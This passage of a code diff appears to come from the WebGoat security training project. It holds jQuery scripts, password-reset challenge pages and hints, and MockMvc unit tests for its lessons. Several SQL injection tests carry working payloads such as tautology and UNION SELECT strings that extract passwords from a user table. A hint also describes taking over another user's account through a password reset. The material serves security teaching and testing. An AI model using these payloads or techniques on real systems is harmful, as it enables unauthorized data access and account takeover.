$("#voteResultMsg").addClass('alert-danger alert-dismissable');
|
||||||
|
} else {
|
||||||
|
$("#voteResultMsg").addClass('alert-success alert-dismissable');
|
||||||
|
}
|
||||||
|
$("#voteResultMsg").html(result["message"]);
|
||||||
|
$("#voteResultMsg").show();
|
||||||
|
})
|
||||||
|
loadVotes();
|
||||||
|
average();
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
$(document).ready(function() {
|
||||||
|
$('#login').click(function(e) {
|
||||||
|
e.preventDefault();
|
||||||
|
$('div#form-login').toggle('500');
|
||||||
|
});
|
||||||
|
$('#forgot').click(function(e) {
|
||||||
|
e.preventDefault();
|
||||||
|
$('div#form-login').toggle('500');
|
||||||
|
});
|
||||||
|
});
|
@ -0,0 +1 @@
|
|||||||
|
Try to reset the password for admin.
|
@ -0,0 +1 @@
|
|||||||
|
Can you still vote?
|
@ -0,0 +1,3 @@
|
|||||||
|
Tom always resets his password immediately after receiving the email with the link.
|
||||||
|
Try to reset the password of Tom (tom@webgoat-cloud.org) to your own choice and login as Tom with
|
||||||
|
that password.
|
@ -0,0 +1,19 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html xmlns:th="http://www.thymeleaf.org">
|
||||||
|
<head>
|
||||||
|
<link rel="stylesheet" type="text/css" th:href="@{/plugins/bootstrap/css/bootstrap.min.css}"/>
|
||||||
|
<link rel="stylesheet" type="text/css" th:href="@{/css/font-awesome.min.css}"/>
|
||||||
|
<script th:src="@{/plugins/bootstrap/js/bootstrap.min.js}"/>
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<div class="container-fluid">
|
||||||
|
<div class="row">
|
||||||
|
<div class="alert alert-danger">
|
||||||
|
<h4>Password reset link is not valid please try again.</h4>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
@ -0,0 +1,48 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html xmlns:th="http://www.thymeleaf.org">
|
||||||
|
<head>
|
||||||
|
<link rel="stylesheet" type="text/css" th:href="@{/plugins/bootstrap/css/bootstrap.min.css}"/>
|
||||||
|
<link rel="stylesheet" type="text/css" th:href="@{/css/font-awesome.min.css}"/>
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<div class="container">
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-xs-12 col-sm-8 col-md-6 col-sm-offset-2 col-md-offset-3">
|
||||||
|
<form role="form" method="POST" action="/WebGoat/challenge/9/change-password" th:object="${form}">
|
||||||
|
<h2 class="sign_up_title">Reset your password</h2>
|
||||||
|
<!--<div class="form-group" th:classappend="${#fields.hasErrors('email')}? 'has-error'">-->
|
||||||
|
<!--<div class="form-group">-->
|
||||||
|
<!--<label for="email" class="control-label">Email</label>-->
|
||||||
|
<!--<input autofocus="dummy_for_thymeleaf_parser" type="text" class="form-control"-->
|
||||||
|
<!--th:field="*{email}"-->
|
||||||
|
<!--id="email" placeholder="email" name='email'/>-->
|
||||||
|
<!--<span th:if="${#fields.hasErrors('email')}" th:errors="*{email}">Email error</span>-->
|
||||||
|
<!--</div>-->
|
||||||
|
<div class="form-group" th:classappend="${#fields.hasErrors('password')}? 'has-error'">
|
||||||
|
<input type="hidden" name="resetLink" th:field="*{resetLink}" />
|
||||||
|
<label for="password" class="control-label" th:text="#{password}">Password</label>
|
||||||
|
<input type="password" class="form-control" id="password" placeholder="Password"
|
||||||
|
name='password' th:value="*{password}"/>
|
||||||
|
<span th:if="${#fields.hasErrors('password')}" th:errors="*{password}">Password error</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!---->
|
||||||
|
<!--<div class="form-group">-->
|
||||||
|
<!--<input type="email" required="" autofocus="" name="email" id="email" class="form-control input-lg" placeholder="Email"-->
|
||||||
|
<!--tabindex="4"/>-->
|
||||||
|
<!--<input type="newPassword" required="" autofocus="" name="newPassword" id="newPassword" class="form-control input-lg" placeholder="New password"-->
|
||||||
|
<!--tabindex="4"/>-->
|
||||||
|
<!--</div>-->
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-xs-12 col-md-12">
|
||||||
|
<button type="submit" class="btn btn-success btn-block btn-lg">Save</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
@ -0,0 +1,19 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html xmlns:th="http://www.thymeleaf.org">
|
||||||
|
<head>
|
||||||
|
<link rel="stylesheet" type="text/css" th:href="@{/plugins/bootstrap/css/bootstrap.min.css}"/>
|
||||||
|
<link rel="stylesheet" type="text/css" th:href="@{/css/font-awesome.min.css}"/>
|
||||||
|
<script th:src="@{/plugins/bootstrap/js/bootstrap.min.js}"/>
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<div class="container-fluid">
|
||||||
|
<div class="row">
|
||||||
|
<div class="alert alert-success">
|
||||||
|
<h4>Password changed successfully, please login again with your new password</h4>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
@ -7,7 +7,6 @@ import org.junit.runner.RunWith;
|
|||||||
import org.mockito.runners.MockitoJUnitRunner;
|
import org.mockito.runners.MockitoJUnitRunner;
|
||||||
import org.springframework.test.web.servlet.MockMvc;
|
import org.springframework.test.web.servlet.MockMvc;
|
||||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||||
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
|
|
||||||
|
|
||||||
import static org.hamcrest.Matchers.is;
|
import static org.hamcrest.Matchers.is;
|
||||||
import static org.owasp.webgoat.plugin.SolutionConstants.SUPER_COUPON_CODE;
|
import static org.owasp.webgoat.plugin.SolutionConstants.SUPER_COUPON_CODE;
|
||||||
@ -39,7 +38,6 @@ public class ShopEndpointTest {
|
|||||||
@Test
|
@Test
|
||||||
public void getCoupon() throws Exception {
|
public void getCoupon() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get("/challenge-store/coupons/webgoat"))
|
mockMvc.perform(MockMvcRequestBuilders.get("/challenge-store/coupons/webgoat"))
|
||||||
.andDo(MockMvcResultHandlers.print())
|
|
||||||
.andExpect(jsonPath("$.code", CoreMatchers.is("webgoat")))
|
.andExpect(jsonPath("$.code", CoreMatchers.is("webgoat")))
|
||||||
.andExpect(jsonPath("$.discount", CoreMatchers.is(25)));
|
.andExpect(jsonPath("$.discount", CoreMatchers.is(25)));
|
||||||
}
|
}
|
||||||
|
@ -9,7 +9,6 @@ import org.owasp.webgoat.plugin.Flag;
|
|||||||
import org.springframework.test.web.servlet.MockMvc;
|
import org.springframework.test.web.servlet.MockMvc;
|
||||||
import org.springframework.test.web.servlet.MvcResult;
|
import org.springframework.test.web.servlet.MvcResult;
|
||||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||||
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
|
|
||||||
|
|
||||||
import javax.servlet.http.Cookie;
|
import javax.servlet.http.Cookie;
|
||||||
|
|
||||||
@ -97,7 +96,6 @@ public class VotesEndpointTest {
|
|||||||
.cookie(mvcResult.getResponse().getCookie("access_token")));
|
.cookie(mvcResult.getResponse().getCookie("access_token")));
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get("/votings/")
|
mockMvc.perform(MockMvcRequestBuilders.get("/votings/")
|
||||||
.cookie(mvcResult.getResponse().getCookie("access_token")))
|
.cookie(mvcResult.getResponse().getCookie("access_token")))
|
||||||
.andDo(MockMvcResultHandlers.print())
|
|
||||||
.andExpect(jsonPath("$..[?(@.title == 'Get it for free')].numberOfVotes", CoreMatchers.hasItem(20001)));
|
.andExpect(jsonPath("$..[?(@.title == 'Get it for free')].numberOfVotes", CoreMatchers.hasItem(20001)));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -34,12 +34,11 @@ import org.owasp.webgoat.assignments.AssignmentEndpointTest;
|
|||||||
import org.owasp.webgoat.session.UserSessionData;
|
import org.owasp.webgoat.session.UserSessionData;
|
||||||
import org.springframework.test.web.servlet.MockMvc;
|
import org.springframework.test.web.servlet.MockMvc;
|
||||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||||
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
|
|
||||||
|
|
||||||
|
import static org.mockito.Mockito.when;
|
||||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||||
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
|
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
|
||||||
import static org.mockito.Mockito.when;
|
|
||||||
|
|
||||||
|
|
||||||
@RunWith(MockitoJUnitRunner.class)
|
@RunWith(MockitoJUnitRunner.class)
|
||||||
@ -64,7 +63,7 @@ public class DOMCrossSiteScriptingTest extends AssignmentEndpointTest {
|
|||||||
.header("webgoat-requested-by","dom-xss-vuln")
|
.header("webgoat-requested-by","dom-xss-vuln")
|
||||||
.param("param1", "42")
|
.param("param1", "42")
|
||||||
.param("param2", "24"))
|
.param("param2", "24"))
|
||||||
.andExpect(status().isOk()).andDo(MockMvcResultHandlers.print())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("$.output", CoreMatchers.containsString("phoneHome Response is " + randVal)))
|
.andExpect(jsonPath("$.output", CoreMatchers.containsString("phoneHome Response is " + randVal)))
|
||||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
||||||
}
|
}
|
||||||
@ -76,7 +75,7 @@ public class DOMCrossSiteScriptingTest extends AssignmentEndpointTest {
|
|||||||
.header("webgoat-requested-by","wrong-value")
|
.header("webgoat-requested-by","wrong-value")
|
||||||
.param("param1", "22")
|
.param("param1", "22")
|
||||||
.param("param2", "20"))
|
.param("param2", "20"))
|
||||||
.andExpect(status().isOk()).andDo(MockMvcResultHandlers.print())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -33,7 +33,6 @@ import org.mockito.runners.MockitoJUnitRunner;
|
|||||||
import org.owasp.webgoat.assignments.AssignmentEndpointTest;
|
import org.owasp.webgoat.assignments.AssignmentEndpointTest;
|
||||||
import org.springframework.test.web.servlet.MockMvc;
|
import org.springframework.test.web.servlet.MockMvc;
|
||||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||||
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
|
|
||||||
|
|
||||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||||
@ -56,7 +55,7 @@ public class HttpBasicsInterceptRequestTest extends AssignmentEndpointTest {
|
|||||||
mockMvc.perform(MockMvcRequestBuilders.get("/challenge/1")
|
mockMvc.perform(MockMvcRequestBuilders.get("/challenge/1")
|
||||||
.header("x-request-intercepted", "true")
|
.header("x-request-intercepted", "true")
|
||||||
.param("changeMe", "Requests are tampered easily"))
|
.param("changeMe", "Requests are tampered easily"))
|
||||||
.andExpect(status().isOk()).andDo(MockMvcResultHandlers.print())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("http-proxies.intercept.success"))))
|
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("http-proxies.intercept.success"))))
|
||||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
||||||
}
|
}
|
||||||
@ -66,7 +65,7 @@ public class HttpBasicsInterceptRequestTest extends AssignmentEndpointTest {
|
|||||||
mockMvc.perform(MockMvcRequestBuilders.get("/HttpProxies/intercept-request")
|
mockMvc.perform(MockMvcRequestBuilders.get("/HttpProxies/intercept-request")
|
||||||
.header("x-request-intercepted", "false")
|
.header("x-request-intercepted", "false")
|
||||||
.param("changeMe", "Requests are tampered easily"))
|
.param("changeMe", "Requests are tampered easily"))
|
||||||
.andExpect(status().isOk()).andDo(MockMvcResultHandlers.print())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("http-proxies.intercept.failure"))))
|
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("http-proxies.intercept.failure"))))
|
||||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||||
}
|
}
|
||||||
|
@ -6,15 +6,11 @@ import org.junit.Test;
|
|||||||
import org.junit.runner.RunWith;
|
import org.junit.runner.RunWith;
|
||||||
import org.mockito.Mock;
|
import org.mockito.Mock;
|
||||||
import org.mockito.runners.MockitoJUnitRunner;
|
import org.mockito.runners.MockitoJUnitRunner;
|
||||||
import org.owasp.webgoat.lessons.AbstractLesson;
|
|
||||||
import org.owasp.webgoat.service.HintService;
|
|
||||||
import org.owasp.webgoat.session.WebSession;
|
|
||||||
import org.owasp.webgoat.users.UserService;
|
import org.owasp.webgoat.users.UserService;
|
||||||
import org.owasp.webgoat.users.WebGoatUser;
|
import org.owasp.webgoat.users.WebGoatUser;
|
||||||
import org.springframework.test.util.ReflectionTestUtils;
|
import org.springframework.test.util.ReflectionTestUtils;
|
||||||
import org.springframework.test.web.servlet.MockMvc;
|
import org.springframework.test.web.servlet.MockMvc;
|
||||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||||
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
|
|
||||||
|
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
@ -28,10 +24,6 @@ import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standal
|
|||||||
public class MissingFunctionACUsersTest {
|
public class MissingFunctionACUsersTest {
|
||||||
private MockMvc mockMvc;
|
private MockMvc mockMvc;
|
||||||
@Mock
|
@Mock
|
||||||
private WebSession websession;
|
|
||||||
@Mock
|
|
||||||
private AbstractLesson lesson;
|
|
||||||
@Mock
|
|
||||||
private UserService userService;
|
private UserService userService;
|
||||||
|
|
||||||
@Before
|
@Before
|
||||||
@ -46,7 +38,6 @@ public class MissingFunctionACUsersTest {
|
|||||||
public void TestContentTypeApplicationJSON () throws Exception {
|
public void TestContentTypeApplicationJSON () throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get("/users")
|
mockMvc.perform(MockMvcRequestBuilders.get("/users")
|
||||||
.header("Content-type","application/json"))
|
.header("Content-type","application/json"))
|
||||||
.andDo(MockMvcResultHandlers.print())
|
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("$[0].username", CoreMatchers.is("user1")))
|
.andExpect(jsonPath("$[0].username", CoreMatchers.is("user1")))
|
||||||
.andExpect(jsonPath("$[0].userHash",CoreMatchers.is("cplTjehjI/e5ajqTxWaXhU5NW9UotJfXj+gcbPvfWWc=")))
|
.andExpect(jsonPath("$[0].userHash",CoreMatchers.is("cplTjehjI/e5ajqTxWaXhU5NW9UotJfXj+gcbPvfWWc=")))
|
||||||
|
@ -43,7 +43,7 @@ public class MissingFunctionYourHashTest extends AssignmentEndpointTest {
|
|||||||
public void HashDoesNotMatch() throws Exception {
|
public void HashDoesNotMatch() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/access-control/user-hash")
|
mockMvc.perform(MockMvcRequestBuilders.post("/access-control/user-hash")
|
||||||
.param("userHash", "42"))
|
.param("userHash", "42"))
|
||||||
.andExpect(status().isOk()).andDo(MockMvcResultHandlers.print())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("$.feedback", CoreMatchers.containsString("Keep trying, this one may take several attempts")))
|
.andExpect(jsonPath("$.feedback", CoreMatchers.containsString("Keep trying, this one may take several attempts")))
|
||||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||||
}
|
}
|
||||||
@ -52,7 +52,7 @@ public class MissingFunctionYourHashTest extends AssignmentEndpointTest {
|
|||||||
public void hashMatches() throws Exception {
|
public void hashMatches() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/access-control/user-hash")
|
mockMvc.perform(MockMvcRequestBuilders.post("/access-control/user-hash")
|
||||||
.param("userHash", "2340928sadfajsdalsNfwrBla="))
|
.param("userHash", "2340928sadfajsdalsNfwrBla="))
|
||||||
.andExpect(status().isOk()).andDo(MockMvcResultHandlers.print())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("$.feedback", CoreMatchers.containsString("Keep trying, this one may take several attempts")))
|
.andExpect(jsonPath("$.feedback", CoreMatchers.containsString("Keep trying, this one may take several attempts")))
|
||||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||||
}
|
}
|
||||||
|
@ -27,6 +27,7 @@
|
|||||||
<module>xxe</module>
|
<module>xxe</module>
|
||||||
<module>idor</module>
|
<module>idor</module>
|
||||||
<module>vulnerable-components</module>
|
<module>vulnerable-components</module>
|
||||||
|
<module>webwolf-introduction</module>
|
||||||
<module>auth-bypass</module>
|
<module>auth-bypass</module>
|
||||||
<module>missing-function-ac</module>
|
<module>missing-function-ac</module>
|
||||||
<module>csrf</module>
|
<module>csrf</module>
|
||||||
|
@ -84,7 +84,7 @@
|
|||||||
<div class="col-lg-12">
|
<div class="col-lg-12">
|
||||||
<form id="login-form" class="attack-form" accept-charset="UNKNOWN"
|
<form id="login-form" class="attack-form" accept-charset="UNKNOWN"
|
||||||
method="POST" name="form"
|
method="POST" name="form"
|
||||||
action="SqlInjection/attack7"
|
action="SqlInjection/challenge"
|
||||||
enctype="application/json;charset=UTF-8" role="form">
|
enctype="application/json;charset=UTF-8" role="form">
|
||||||
<div class="form-group">
|
<div class="form-group">
|
||||||
<input type="text" name="username_login" id="username4" tabindex="1"
|
<input type="text" name="username_login" id="username4" tabindex="1"
|
||||||
@ -120,7 +120,7 @@
|
|||||||
</form>
|
</form>
|
||||||
<form id="register-form" class="attack-form" accept-charset="UNKNOWN"
|
<form id="register-form" class="attack-form" accept-charset="UNKNOWN"
|
||||||
method="PUT" name="form"
|
method="PUT" name="form"
|
||||||
action="SqlInjection/attack7"
|
action="SqlInjection/challenge"
|
||||||
enctype="application/json;charset=UTF-8" style="display: none;" role="form">
|
enctype="application/json;charset=UTF-8" style="display: none;" role="form">
|
||||||
<div class="form-group">
|
<div class="form-group">
|
||||||
<input type="text" name="username_reg" id="username" tabindex="1"
|
<input type="text" name="username_reg" id="username" tabindex="1"
|
||||||
|
@ -8,7 +8,6 @@ import org.owasp.webgoat.session.WebgoatContext;
|
|||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
||||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||||
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
|
|
||||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||||
|
|
||||||
import static org.hamcrest.CoreMatchers.containsString;
|
import static org.hamcrest.CoreMatchers.containsString;
|
||||||
@ -39,7 +38,7 @@ public class SqlInjectionLesson5aTest extends LessonTest {
|
|||||||
public void knownAccountShouldDisplayData() throws Exception {
|
public void knownAccountShouldDisplayData() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5a")
|
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5a")
|
||||||
.param("account", "Smith"))
|
.param("account", "Smith"))
|
||||||
.andDo(MockMvcResultHandlers.print())
|
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("lessonCompleted", is(false)))
|
.andExpect(jsonPath("lessonCompleted", is(false)))
|
||||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("assignment.not.solved"))))
|
.andExpect(jsonPath("$.feedback", is(messages.getMessage("assignment.not.solved"))))
|
||||||
@ -50,7 +49,7 @@ public class SqlInjectionLesson5aTest extends LessonTest {
|
|||||||
public void unknownAccount() throws Exception {
|
public void unknownAccount() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5a")
|
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5a")
|
||||||
.param("account", "Smithh"))
|
.param("account", "Smithh"))
|
||||||
.andDo(MockMvcResultHandlers.print())
|
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("lessonCompleted", is(false)))
|
.andExpect(jsonPath("lessonCompleted", is(false)))
|
||||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("NoResultsMatched"))))
|
.andExpect(jsonPath("$.feedback", is(messages.getMessage("NoResultsMatched"))))
|
||||||
@ -61,7 +60,7 @@ public class SqlInjectionLesson5aTest extends LessonTest {
|
|||||||
public void sqlInjection() throws Exception {
|
public void sqlInjection() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5a")
|
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5a")
|
||||||
.param("account", "smith' OR '1' = '1"))
|
.param("account", "smith' OR '1' = '1"))
|
||||||
.andDo(MockMvcResultHandlers.print())
|
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("lessonCompleted", is(true)))
|
.andExpect(jsonPath("lessonCompleted", is(true)))
|
||||||
.andExpect(jsonPath("$.feedback", containsString("You have succeed")))
|
.andExpect(jsonPath("$.feedback", containsString("You have succeed")))
|
||||||
@ -72,7 +71,7 @@ public class SqlInjectionLesson5aTest extends LessonTest {
|
|||||||
public void sqlInjectionWrongShouldDisplayError() throws Exception {
|
public void sqlInjectionWrongShouldDisplayError() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5a")
|
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5a")
|
||||||
.param("account", "smith' OR '1' = '1'"))
|
.param("account", "smith' OR '1' = '1'"))
|
||||||
.andDo(MockMvcResultHandlers.print())
|
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("lessonCompleted", is(false)))
|
.andExpect(jsonPath("lessonCompleted", is(false)))
|
||||||
.andExpect(jsonPath("$.feedback", containsString(messages.getMessage("assignment.not.solved"))))
|
.andExpect(jsonPath("$.feedback", containsString(messages.getMessage("assignment.not.solved"))))
|
||||||
|
@ -32,7 +32,7 @@ public class SqlInjectionLesson6aTest extends LessonTest {
|
|||||||
public void wrongSolution() throws Exception {
|
public void wrongSolution() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
|
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
|
||||||
.param("userid_6a", "John"))
|
.param("userid_6a", "John"))
|
||||||
.andDo(MockMvcResultHandlers.print())
|
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("$.lessonCompleted", is(false)));
|
.andExpect(jsonPath("$.lessonCompleted", is(false)));
|
||||||
}
|
}
|
||||||
@ -41,7 +41,7 @@ public class SqlInjectionLesson6aTest extends LessonTest {
|
|||||||
public void wrongNumberOfColumns() throws Exception {
|
public void wrongNumberOfColumns() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
|
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
|
||||||
.param("userid_6a", "Smith' union select userid,user_name, password,cookie from user_system_data --"))
|
.param("userid_6a", "Smith' union select userid,user_name, password,cookie from user_system_data --"))
|
||||||
.andDo(MockMvcResultHandlers.print())
|
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("$.lessonCompleted", is(false)))
|
.andExpect(jsonPath("$.lessonCompleted", is(false)))
|
||||||
.andExpect(jsonPath("$.output", is("column number mismatch detected in rows of UNION, INTERSECT, EXCEPT, or VALUES operation")));
|
.andExpect(jsonPath("$.output", is("column number mismatch detected in rows of UNION, INTERSECT, EXCEPT, or VALUES operation")));
|
||||||
@ -51,7 +51,7 @@ public class SqlInjectionLesson6aTest extends LessonTest {
|
|||||||
public void wrongDataTypeOfColumns() throws Exception {
|
public void wrongDataTypeOfColumns() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
|
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
|
||||||
.param("userid_6a", "Smith' union select 1,password, 1,'2','3', '4',1 from user_system_data --"))
|
.param("userid_6a", "Smith' union select 1,password, 1,'2','3', '4',1 from user_system_data --"))
|
||||||
.andDo(MockMvcResultHandlers.print())
|
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("$.lessonCompleted", is(false)))
|
.andExpect(jsonPath("$.lessonCompleted", is(false)))
|
||||||
.andExpect(jsonPath("$.output", containsString("incompatible data types in combination")));
|
.andExpect(jsonPath("$.output", containsString("incompatible data types in combination")));
|
||||||
@ -61,7 +61,7 @@ public class SqlInjectionLesson6aTest extends LessonTest {
|
|||||||
public void correctSolution() throws Exception {
|
public void correctSolution() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
|
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
|
||||||
.param("userid_6a", "Smith' union select 1,password, '1','2','3', '4',1 from user_system_data --"))
|
.param("userid_6a", "Smith' union select 1,password, '1','2','3', '4',1 from user_system_data --"))
|
||||||
.andDo(MockMvcResultHandlers.print())
|
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("$.lessonCompleted", is(true)))
|
.andExpect(jsonPath("$.lessonCompleted", is(true)))
|
||||||
.andExpect(jsonPath("$.feedback", containsString("dave")));
|
.andExpect(jsonPath("$.feedback", containsString("dave")));
|
||||||
@ -71,7 +71,7 @@ public class SqlInjectionLesson6aTest extends LessonTest {
|
|||||||
public void noResultsReturned() throws Exception {
|
public void noResultsReturned() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
|
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
|
||||||
.param("userid_6a", "Smith' and 1 = 2 --"))
|
.param("userid_6a", "Smith' and 1 = 2 --"))
|
||||||
.andDo(MockMvcResultHandlers.print())
|
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("$.lessonCompleted", is(false)))
|
.andExpect(jsonPath("$.lessonCompleted", is(false)))
|
||||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.6a.no.results"))));
|
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.6a.no.results"))));
|
||||||
|
@ -31,7 +31,7 @@ public class SqlInjectionLesson6bTest extends LessonTest {
|
|||||||
public void submitCorrectPassword() throws Exception {
|
public void submitCorrectPassword() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6b")
|
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6b")
|
||||||
.param("userid_6b", "dave"))
|
.param("userid_6b", "dave"))
|
||||||
.andDo(MockMvcResultHandlers.print())
|
|
||||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
|
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -39,7 +39,7 @@ public class SqlInjectionLesson6bTest extends LessonTest {
|
|||||||
public void submitWrongPassword() throws Exception {
|
public void submitWrongPassword() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6b")
|
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6b")
|
||||||
.param("userid_6b", "John"))
|
.param("userid_6b", "John"))
|
